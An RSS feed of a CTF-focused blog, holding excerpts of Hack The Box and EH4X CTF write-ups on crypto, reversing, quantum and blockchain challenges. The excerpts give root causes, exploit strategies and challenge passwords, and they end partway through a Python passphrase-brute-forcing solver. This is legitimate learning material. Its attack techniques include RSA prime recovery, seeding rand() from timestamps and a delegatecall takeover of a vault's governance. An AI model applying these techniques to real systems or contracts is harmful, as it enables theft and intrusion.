<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Ctf on Zero&#39;s Blog</title>
    <link>/tags/ctf/</link>
    <description>Recent content in Ctf on Zero&#39;s Blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 11 Mar 2026 22:12:00 +0700</lastBuildDate>
    <atom:link href="/tags/ctf/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>HTB - Crypto: Raining Primes</title>
      <link>/posts/htb-crypto-raining-primes/</link>
      <pubDate>Wed, 11 Mar 2026 22:12:00 +0700</pubDate>
      <guid>/posts/htb-crypto-raining-primes/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Raining Primes&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the flag from an RSA-wrapped AES ciphertext.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service uses one hidden 640-bit prime &lt;code&gt;r&lt;/code&gt; in multiple places:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Prime oracle outputs &lt;code&gt;x = a*r + b&lt;/code&gt; where:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;a&lt;/code&gt; is 384-bit random&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;b&lt;/code&gt; is 256-bit random&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;RSA primes are generated with the same form:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;p = a*r + b&lt;/code&gt;, &lt;code&gt;q = c*r + d&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Key update transforms each AES key bit via:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bit&#39; = ((k0 * k1) mod r) mod 2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This creates two exploitable links:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: Maze</title>
      <link>/posts/htb-rev-maze/</link>
      <pubDate>Thu, 05 Mar 2026 16:10:00 +0700</pubDate>
      <guid>/posts/htb-rev-maze/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Maze&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the final valid input from multi-stage checker logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;maze.exe&lt;/code&gt; is a PyInstaller-packed Python application that gates progress behind hidden constants and staged payloads.&lt;/p&gt;&#xA;&lt;p&gt;Reversing the Python entrypoint reveals:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;route gate string: &lt;code&gt;Y0u_St1ll_1N_4_M4z3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;ZIP password for &lt;code&gt;enc_maze.zip&lt;/code&gt;: &lt;code&gt;Y0u_Ar3_W4lkiNG_t0_Y0uR_D34TH&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After unpacking, deeper stages eventually resolve to an ELF checker whose validation is purely arithmetic and reversible.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: Hexecution</title>
      <link>/posts/htb-rev-hexecution/</link>
      <pubDate>Thu, 05 Mar 2026 15:58:00 +0700</pubDate>
      <guid>/posts/htb-rev-hexecution/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Hexecution&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the expected input for the custom VM program and derive the final flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The binary &lt;code&gt;cook&lt;/code&gt; is a small interpreter for the DSL file &lt;code&gt;recipe.asm&lt;/code&gt;. Instead of checking input directly, it transforms user input via a deterministic two-stage permutation pipeline and compares against a fixed 32-byte target table loaded by VM instructions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: vvm</title>
      <link>/posts/htb-rev-vvm/</link>
      <pubDate>Thu, 05 Mar 2026 15:35:00 +0700</pubDate>
      <guid>/posts/htb-rev-vvm/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; vvm&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the password accepted by the embedded custom VM.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The binary does not compare the input directly. Instead, it runs a custom VM program that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;enforces input length = &lt;code&gt;32&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;rearranges selected bytes into 8 little-endian 32-bit words,&lt;/li&gt;&#xA;&lt;li&gt;applies &lt;code&gt;rol32&lt;/code&gt; transforms,&lt;/li&gt;&#xA;&lt;li&gt;compares against hardcoded constants.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So the intended path is reverse-engineering VM semantics, then algebraically inverting the transformations.&lt;/p&gt;</description>
    </item>
    <item>
      <title>EH4X CTF 2026: Writeup</title>
      <link>/posts/eh4x-ctf-2026-writeup/</link>
      <pubDate>Wed, 04 Mar 2026 14:00:00 +0700</pubDate>
      <guid>/posts/eh4x-ctf-2026-writeup/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.&lt;/p&gt;&#xA;&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#heist-v1-blockchain&#34;&gt;Heist V1 (Blockchain)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#i-guess-bro-reverse&#34;&gt;i-guess-bro (Reverse)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#womp-womp-pwn&#34;&gt;Womp Womp (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#lulocator-pwn&#34;&gt;Lulocator (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#sarcasm--sarcasm-pwn&#34;&gt;SarcAsm / Sarcasm (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#inferno-sprint-misc&#34;&gt;Inferno Sprint (Misc)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#chusembly-misc&#34;&gt;Chusembly (Misc)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#final-notes&#34;&gt;Final Notes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;heist-v1-blockchain&#34;&gt;Heist V1 (Blockchain)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;tldr&#34;&gt;TL;DR&lt;/h3&gt;&#xA;&lt;p&gt;The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (&lt;code&gt;admin&lt;/code&gt;/&lt;code&gt;paused&lt;/code&gt;), then funds could be withdrawn.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Quantum: Phase Madness</title>
      <link>/posts/htb-quantum-phase-madness/</link>
      <pubDate>Wed, 04 Mar 2026 10:55:00 +0700</pubDate>
      <guid>/posts/htb-quantum-phase-madness/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Phase Madness&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Quantum&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium-Hard&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover all encoded bytes from qubit phase rotations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Each flag byte is encoded directly as a rotation angle in degrees.&lt;/p&gt;&#xA;&lt;p&gt;From source:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;index &lt;code&gt;% 3 == 0&lt;/code&gt;: &lt;code&gt;RX(byte)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;index &lt;code&gt;% 3 == 1&lt;/code&gt;: &lt;code&gt;RY(byte)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;index &lt;code&gt;% 3 == 2&lt;/code&gt;: &lt;code&gt;H&lt;/code&gt; then &lt;code&gt;RZ(byte)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The service lets us:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;choose qubit index,&lt;/li&gt;&#xA;&lt;li&gt;apply extra known rotations (&lt;code&gt;RX/RY/RZ&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;receive high-shot measurement counts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That is enough to estimate sin/cos components and recover the original angle (thus byte).&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: Wayback</title>
      <link>/posts/htb-rev-wayback/</link>
      <pubDate>Wed, 04 Mar 2026 10:55:00 +0700</pubDate>
      <guid>/posts/htb-rev-wayback/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Wayback&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover generated password and decrypt ciphertext to obtain flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The binary generates a password using &lt;code&gt;rand()&lt;/code&gt; seeded from local timestamp fields (year/month/day/hour/min/sec formula), then uses that key material in AES-CBC flow.&lt;/p&gt;&#xA;&lt;p&gt;Given challenge-provided generation window, key recovery becomes bounded brute-force over time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reverse password generator logic:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;static charset (lower/upper/symbols/digits)&lt;/li&gt;&#xA;&lt;li&gt;seed formula from datetime fields&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rand() % len(charset)&lt;/code&gt; per output char&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Re-implement generator exactly with libc &lt;code&gt;srand/rand&lt;/code&gt; behavior.&lt;/li&gt;&#xA;&lt;li&gt;Iterate each second in the narrowed date range.&lt;/li&gt;&#xA;&lt;li&gt;Build candidate key from generated password and attempt AES-CBC decrypt.&lt;/li&gt;&#xA;&lt;li&gt;Stop when plaintext contains &lt;code&gt;HTB{...}&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Recovered:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Quantum: Flagportation</title>
      <link>/posts/htb-quantum-flagportation/</link>
      <pubDate>Wed, 04 Mar 2026 10:50:00 +0700</pubDate>
      <guid>/posts/htb-quantum-flagportation/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Flagportation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Quantum&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy-Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Decode all teleported 2-bit symbols and recover the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The challenge is a teleportation protocol correctness trap. The server reveals:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;encoding basis (&lt;code&gt;Z&lt;/code&gt; or &lt;code&gt;X&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;Bell-side measurement bits (&lt;code&gt;qubit 0&lt;/code&gt;, &lt;code&gt;qubit 1&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;then asks user operations before measuring receiver (&lt;code&gt;qubit 2&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If the correction mapping is wrong, decoded bits are wrong.&lt;/p&gt;&#xA;&lt;p&gt;Correct mapping for this implementation:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: Virtually Mad</title>
      <link>/posts/htb-rev-virtually-mad/</link>
      <pubDate>Wed, 04 Mar 2026 10:50:00 +0700</pubDate>
      <guid>/posts/htb-rev-virtually-mad/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Virtually Mad&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Provide VM bytecode that passes strict opcode-shape and final-state validation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The checker executes user-provided opcodes in a small custom VM and validates final state exactly:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;a == 0x200&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;b == 0xffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c == 0xffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;d == 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;flags == 0x10000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;instruction count = 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The opcode format and pre-check masks make the intended sequence effectively unique.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Quantum: Global Hyperlink Zone</title>
      <link>/posts/htb-quantum-global-hyperlink-zone/</link>
      <pubDate>Wed, 04 Mar 2026 10:45:00 +0700</pubDate>
      <guid>/posts/htb-quantum-global-hyperlink-zone/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Global Hyperlink Zone&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Quantum&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Satisfy the hidden hyperlink pattern check and print the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The server checks only a specific relationship between measured bitstreams (&lt;code&gt;shares&lt;/code&gt;) and does not constrain users to a trusted circuit template.&lt;/p&gt;&#xA;&lt;p&gt;From source analysis, success requires:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;shares[0] == shares[1] == shares[3]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;shares[2] == shares[4]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;shares[2] != shares[0]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and no share may be all-0 or all-1 bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Because arbitrary gate sequences are allowed, we can construct a circuit that enforces exactly those relations.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Reversing: Rega Town</title>
      <link>/posts/htb-rev-rega-town/</link>
      <pubDate>Wed, 04 Mar 2026 10:45:00 +0700</pubDate>
      <guid>/posts/htb-rev-rega-town/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Rega Town&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reversing&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy-Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Solved by:&lt;/strong&gt; Shinkiro&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the valid passphrase accepted by the binary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Validation is split into two deterministic layers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;filter_input&lt;/code&gt; enforces format and character-class constraints via embedded regex patterns.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;check_input&lt;/code&gt; multiplies ASCII values of fixed chunks and compares them to hardcoded constants.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Given both layers, the space collapses to a tiny set of candidates.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extract regex constraints from &lt;code&gt;filter_input&lt;/code&gt; to build per-position candidate pools.&lt;/li&gt;&#xA;&lt;li&gt;Extract target products from &lt;code&gt;check_input&lt;/code&gt; for each underscore-separated chunk.&lt;/li&gt;&#xA;&lt;li&gt;Brute-force each chunk independently using product matching.&lt;/li&gt;&#xA;&lt;li&gt;Apply final &lt;code&gt;main&lt;/code&gt; assertions (&lt;code&gt;input[5] == &#39;0&#39;&lt;/code&gt;, &lt;code&gt;input[9] == &#39;r&#39;&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Select intended semantic candidate.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;solver-code&#34;&gt;Solver Code&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; itertools&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; math&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; pathlib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; string&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; subprocess&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Product constants used by check_input() for each chunk.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TARGETS &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7A070&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x5C436&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6CC60&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x27B5776&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10F9&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0xD76A0&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7465A58&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Character pools inferred from regex constraints in filter_input().&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POOLS &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;XYZ&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ascii_letters &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;A&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ascii_letters &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;_&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;T&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;h7&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ascii_uppercase, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;n&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;abcdefgh&amp;#34;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;O&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;digits],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;T&amp;#34;&lt;/span&gt;, string&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ascii_letters, &lt;span 